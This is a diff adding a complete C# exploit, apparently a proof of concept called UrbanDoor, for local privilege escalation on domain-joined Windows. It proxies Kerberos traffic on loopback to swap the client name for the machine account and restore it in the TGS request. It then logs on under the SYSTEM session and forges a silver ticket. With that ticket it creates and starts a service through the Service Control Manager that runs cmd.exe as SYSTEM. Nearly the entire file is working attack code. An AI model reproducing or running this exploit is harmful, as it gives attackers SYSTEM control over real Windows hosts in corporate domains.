|
|
@@ -0,0 +1,191 @@ |
|
|
using NtApiDotNet; |
|
|
using NtApiDotNet.Ndr.Marshal; |
|
|
using NtApiDotNet.Win32; |
|
|
using NtApiDotNet.Win32.Rpc.Transport; |
|
|
using NtApiDotNet.Win32.Security.Authentication; |
|
|
using NtApiDotNet.Win32.Security.Authentication.Kerberos; |
|
|
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client; |
|
|
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server; |
|
|
using NtApiDotNet.Win32.Security.Authentication.Logon; |
|
|
using System; |
|
|
using System.DirectoryServices.ActiveDirectory; |
|
|
using System.Net; |
|
|
using System.Threading; |
|
|
|
|
|
|
|
|
namespace UrbanDoor |
|
|
{ |
|
|
public class ModifyCNameKerberosProxy : KerberosKDCProxy |
|
|
{ |
|
|
private KerberosPrincipalName _clientName; |
|
|
private KerberosAuthenticationKey _userKey; |
|
|
|
|
|
private KerberosPrincipalName _originalClientName = null; |
|
|
private KerberosAuthenticationKey _tgtKey = null; |
|
|
|
|
|
public ModifyCNameKerberosProxy(KerberosPrincipalName clientName, KerberosAuthenticationKey userKey, string hostname) |
|
|
: base(new KerberosKDCServerListenerTCP(IPAddress.Loopback, 88), new KerberosKDCClientTransportTCP(hostname, 88)) |
|
|
{ |
|
|
_clientName = clientName; |
|
|
_userKey = userKey; |
|
|
} |
|
|
|
|
|
protected override byte[] HandleRequest(byte[] outbound) |
|
|
{ |
|
|
if (KerberosKDCRequestAuthenticationToken.TryParse(outbound, out KerberosKDCRequestAuthenticationToken request)) |
|
|
{ |
|
|
if (_tgtKey != null && _originalClientName != null && request.MessageType == KerberosMessageType.KRB_TGS_REQ) |
|
|
{ |
|
|
Console.WriteLine($"[+] Modifying outgoing TGS-REQ [{outbound.Length}]"); |
|
|
|
|
|
var preAuthTgs = request.PreAuthenticationData[0] as KerberosPreAuthenticationDataTGSRequest; |
|
|
|
|
|
if (preAuthTgs.Authenticator.TryDecrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq, out KerberosEncryptedData enc)) |
|
|
{ |
|
|
var authenticator = KerberosAuthenticator.Parse(enc.CipherText); |
|
|
var authenticatorBuilder = authenticator.ToBuilder(); |
|
|
authenticatorBuilder.ClientName = _originalClientName; |
|
|
|
|
|
var newPreAuth = new KerberosPreAuthenticationDataTGSRequest(preAuthTgs.Options, preAuthTgs.Ticket, authenticatorBuilder.Create().Encrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq)); |
|
|
|
|
|
var builder = request.ToBuilder(); |
|
|
builder.PreAuthenticationData.Clear(); |
|
|
builder.AddPreAuthenticationData(newPreAuth); |
|
|
builder.AddPreAuthenticationData(request.PreAuthenticationData[1]); |
|
|
|
|
|
outbound = builder.Create().ToArray(); |
|
|
} |
|
|
else |
|
|
{ |
|
|
Console.WriteLine("[!] Error decrypting with tgtKey"); |
|
|
} |
|
|
} |
|
|
} |
|
|
|
|
|
var inbound = base.HandleRequest(outbound); |
|
|
|
|
|
if (KerberosKDCReplyAuthenticationToken.TryParse(inbound, out KerberosKDCReplyAuthenticationToken reply)) |
|
|
{ |
|
|
if (reply.MessageType == KerberosMessageType.KRB_AS_REP) |
|
|
{ |
|
|
Console.WriteLine($"[+] Modifying incoming AS-REP [{inbound.Length}]"); |
|
|
|
|
|
_originalClientName = reply.ClientName; |
|
|
|
|
|
if (reply.EncryptedData.TryDecrypt(_userKey, KerberosKeyUsage.AsRepEncryptedPart, out KerberosEncryptedData enc)) |
|
|
{ |
|
|
var encryptedPart = KerberosKDCReplyEncryptedPart.Parse(enc.CipherText); |
|
|
_tgtKey = encryptedPart.Key; |
|
|
|
|
|
var builder = reply.ToBuilder(); |
|
|
builder.ClientName = _clientName; |
|
|
return builder.Create().ToArray(); |
|
|
|
|
|
} |
|
|
else |
|
|
{ |
|
|
Console.WriteLine("[!] Error decrypting with password"); |
|
|
} |
|
|
} |
|
|
} |
|
|
|
|
|
return inbound; |
|
|
} |
|
|
} |
|
|
|
|
|
class Program |
|
|
{ |
|
|
static Luid SYSTEM_LUID = new Luid(0x3E7); |
|
|
|
|
|
static string OUT_PATH = "C:\\windows\\lpe.txt"; |
|
|
static string SERVICE_CMD = "C:\\windows\\system32\\cmd.exe /c echo LPE from {0} > " + OUT_PATH; |
|
|
|
|
|
static void Main(string[] args) |
|
|
{ |
|
|
try |
|
|
{ |
|
|
if (args.Length != 1 && args.Length != 2) |
|
|
{ |
|
|
throw new ArgumentException("Supply <current_password>"); |
|
|
} |
|
|
|
|
|
string password = args[0]; |
|
|
|
|
|
KerberosTicketCache.PurgeTicketCache(default, null, null); |
|
|
|
|
|
string realm = Domain.GetCurrentDomain().Name.ToUpper(); |
|
|
Sid user_sid = NtToken.PseudoPrimaryToken.User.Sid; |
|
|
string username = user_sid.GetName().Name.ToLower(); |
|
|
string upn = $"{username}@{realm}"; |
|
|
|
|
|
ModifyCNameKerberosProxy proxy = new ModifyCNameKerberosProxy( |
|
|
new KerberosPrincipalName(KerberosNameType.PRINCIPAL, Environment.MachineName + "$"), |
|
|
KerberosAuthenticationKey.DeriveKey(KerberosEncryptionType.AES256_CTS_HMAC_SHA1_96, password, 4096, KerberosNameType.PRINCIPAL, upn, null, 0), |
|
|
Domain.GetCurrentDomain().FindDomainController().Name |
|
|
); |
|
|
proxy.Start(); |
|
|
|
|
|
KerberosTicketCache.PinKdc(realm, "127.0.0.1", 0); |
|
|
|
|
|
var creds = new KerberosInteractiveLogonCredentials( |
|
|
new UserCredentials(username, realm, password) |
|
|
) |
|
|
{ |
|
|
LogonId = SYSTEM_LUID |
|
|
}; |
|
|
|
|
|
try |
|
|
{ |
|
|
using (var handle = LsaLogonHandle.Connect()) |
|
|
{ |
|
|
handle.LsaLogonUser( |
|
|
SecurityLogonType.Interactive, |
|
|
AuthenticationPackage.KERBEROS_NAME, |
|
|
creds |
|
|
); |
|
|
} |
|
|
} |
|
|
catch (Exception e) |
|
|
{ |
|
|
|
|
|
Console.WriteLine($"[!] Logon failed. Maybe the key has already been changed:\n{e}\n\n"); |
|
|
} |
|
|
|
|
|
|
|
|
proxy.Stop(); |
|
|
KerberosTicketCache.UnpinAllKdcs(); |
|
|
|
|
|
Client scm = new Client(); |
|
|
RpcTransportSecurity security = new RpcTransportSecurity(ctx => SilverTicket.CreateContext(ctx, password, 500, 512)); |
|
|
security.AuthenticationLevel = RpcAuthenticationLevel.Connect; |
|
|
security.AuthenticationType = RpcAuthenticationType.Kerberos; |
|
|
security.ServicePrincipalName = $"HOST/{Environment.MachineName}"; |
|
|
|
|
|
scm.Connect("ncacn_np", @"\pipe\ntsvcs", security); |
|
|
int error = scm.ROpenSCManagerW(null, null, (int)ServiceControlManagerAccessRights.GenericAll, out NdrContextHandle hscm); |
|
|
if (error != 0) throw new SafeWin32Exception(error); |
|
|
|
|
|
Console.WriteLine($"[+] Opened SCM: {hscm}"); |
|
|
|
|
|
string serviceName = Guid.NewGuid().ToString(); |
|
|
|
|
|
int? tag_id = null; |
|
|
error = scm.RCreateServiceW(hscm, serviceName, null, (int)ServiceAccessRights.MaximumAllowed, (int)ServiceType.Win32OwnProcess, |
|
|
(int)ServiceStartType.Demand, 0, string.Format(SERVICE_CMD, serviceName), null, ref tag_id, null, 0, null, null, 0, out NdrContextHandle hservice); |
|
|
if (error != 0) throw new SafeWin32Exception(error); |
|
|
|
|
|
Console.WriteLine($"[+] Service created: {serviceName}"); |
|
|
|
|
|
scm.RStartServiceW(hservice, 0, null); |
|
|
Thread.Sleep(250); |
|
|
|
|
|
Console.WriteLine($"\n[+] Done. {OUT_PATH} contains: {System.IO.File.ReadAllText(OUT_PATH)}"); |
|
|
} |
|
|
catch (Exception ex) |
|
|
{ |
|
|
Console.WriteLine("[!] Error:\n"); |
|
|
Console.WriteLine(ex); |
|
|
} |
|
|
} |
|
|
} |
|
|
} |